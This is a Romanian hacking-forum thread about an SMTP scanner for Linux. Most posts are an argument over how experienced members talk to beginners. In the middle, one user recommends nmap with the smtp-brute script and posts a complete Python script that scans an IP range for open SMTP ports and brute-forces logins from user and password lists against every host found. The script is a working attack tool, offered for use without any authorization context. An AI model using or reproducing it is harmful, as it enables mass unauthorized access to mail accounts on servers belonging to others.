Jump to content
verme

Scanner Smtp - Linux

Recommended Posts

Interpretare pt cuvantul "dumneavoastra" ... inca o data incerci sa iti arati superioritatea fata de unii...cred ca te-ai simtit jignit in privinta asta.

Nu e pentru cuvantul "dumneavoastra" ci pentru fraza cara urmeaza.

Dupa cum ai observat am ignorato.Ai dreptul sa iti exprimi opinia si inca o data "nu e ierarhie aici"

Nu cred ca vrem doar sa ajungem ca in

Link to comment
Share on other sites

nu am stiut termenul sau termenii care trebuia sal folosesc.

Daca nu stii ca focul arde s-ar putea sa te arzi .

Ce rost ar avea sa obtii un lucru daca nu stii ce ar putea face sau cum functioneaza?Asta ar insemna ca reteaua se umple de gunoaie si gunoaiele ar trebui indepartate pentru a face curatenie.Vorbind din punct de vedere tehnic.Nu poti intoxica reteaua daca nu o cunosti , careva o sa te puna deoparte.

Link to comment
Share on other sites

Probabil ca u ai dreptate doar pe jumatate....Daca unii se pricep mai bine decat altzi...si acei "restul cum le numesti u in termeni gunoaie" cer un ajutor ... nu inseamna ca trebuie sa vb in modul acesta. E punctul meu de vedere...Daca vrei sal ajuti, ajuti aceea persoana si poate incerci sai si explici anumite detalii....ca il felul acesta si "gunoiele alea" poate invata un lucru.

In a cere ajutor nu cred ca e ceva rau.

Link to comment
Share on other sites

.Daca vrei sal ajuti, ajuti aceea persoana si poate incerci sai si explici anumite detalii....ca il felul acesta si "gunoiele alea" poate invata un lucru. In a cere ajutor nu cred ca e ceva rau.

Ok. Nu ar trebui sa iesi din localhost pana cand nu cunosti protocoalele TCP/IP.

Tradus ar suna cam asa:Nu ar trebui sa te indepartezi prea mult de mal daca nu stii sa inoti

Daca nimeni nu vrea sa invete aceste protocoale, atunci navigheaza doar cu un broser (colac) si nu te indeparta de mal.

Internet protocol suite - Wikipedia, the free encyclopedia

Un scanner necesita cunostinta protocoalelor de retea

Edited by pyth0n3
Link to comment
Share on other sites

dai scan cu namp, apoi smtp-brute NSE Script

sau

brute.py

#!usr/bin/python#Smtp Brute Forcer, searches ip_range for hosts using smtp.



import threading, time, StringIO, commands, random, sys, smtplib, re, socket
from smtplib import SMTP
from copy import copy


if len(sys.argv) !=4:
print "Usage: ./smtpbrute_iprange.py <ip_range> <userlist> <wordlist>"
sys.exit(1)


try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)


print "\n\t SmtpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)


wordlist = copy(words)


def scan():


iprange = sys.argv[1]
ip_list = []

nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25 | grep open -B 3')[1]).readlines()

for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
ip_list.append(ipaddr[0])
return ip_list


def reloader():
for word in wordlist:
words.append(word)


def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])

else:
reloader()
value = random.sample(words, 1)

lock.release()
return value[0][:-1]

class Workhorse(threading.Thread):

def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
smtp = smtplib.SMTP(ip)
smtp.login(user[:-1], value)
print "\t\nLogin successful:",user, value
smtp.quit()
work.join()
sys.exit(2)
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
#print "An error occurred:", msg
pass


ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
print "\n\tAttempting BruteForce:",ip,"\n"
try:
helo = smtplib.SMTP(ip)
print helo.helo(), "\n"
helo.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
print "Server doesn't support the Helo cmd"
for user in users:
for i in range(len(words)):
if i == 0: reloader()
work = Workhorse()
work.start()
time.sleep(2)


passwordlist.txt

userlist.txt

Edited by ripoff
Link to comment
Share on other sites

mc ripoff

pyth0n3, e vezi ca se poate si altfel sa vorbesti...nu neaparat cu aer dasta de grand...poti spune frumos omului ia de aici un documentar...si invata...nu trebuie sal jignesti si sal iei peste picior ca acel cineva nu e cunoaste termenii respectivi.

In legatura cu adunatura de "gunoaie" cum vrei tu sai numesti dc nu dai banii la toti ceilalti utilizatori ai forumului si selectezi decat 5-6-7 persoane care sunt de nivelul tau intelectual si vb numai cu ei?

In felul acesta te-ai crea aceea ambianta de care tu ai avea nevoie. Si noi ceilalti (asa zise gunoaie) care am vrea sa invatam nu te-am mai stresa cu idioatele noastre intrebari.

Link to comment
Share on other sites

Eu am inteles, in esenta cam ce ai vrut sa spui...dar fara un mic ajutor din partea cunoscatorilor nu cred sar putea...in felul acesta prin anumite comentarii facute de voi cand e gresit si cand nu...se poate destepta si acele persoane. Sunt anumite detalii care nu se pot gasi pe google...sau pe alte forumuri...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...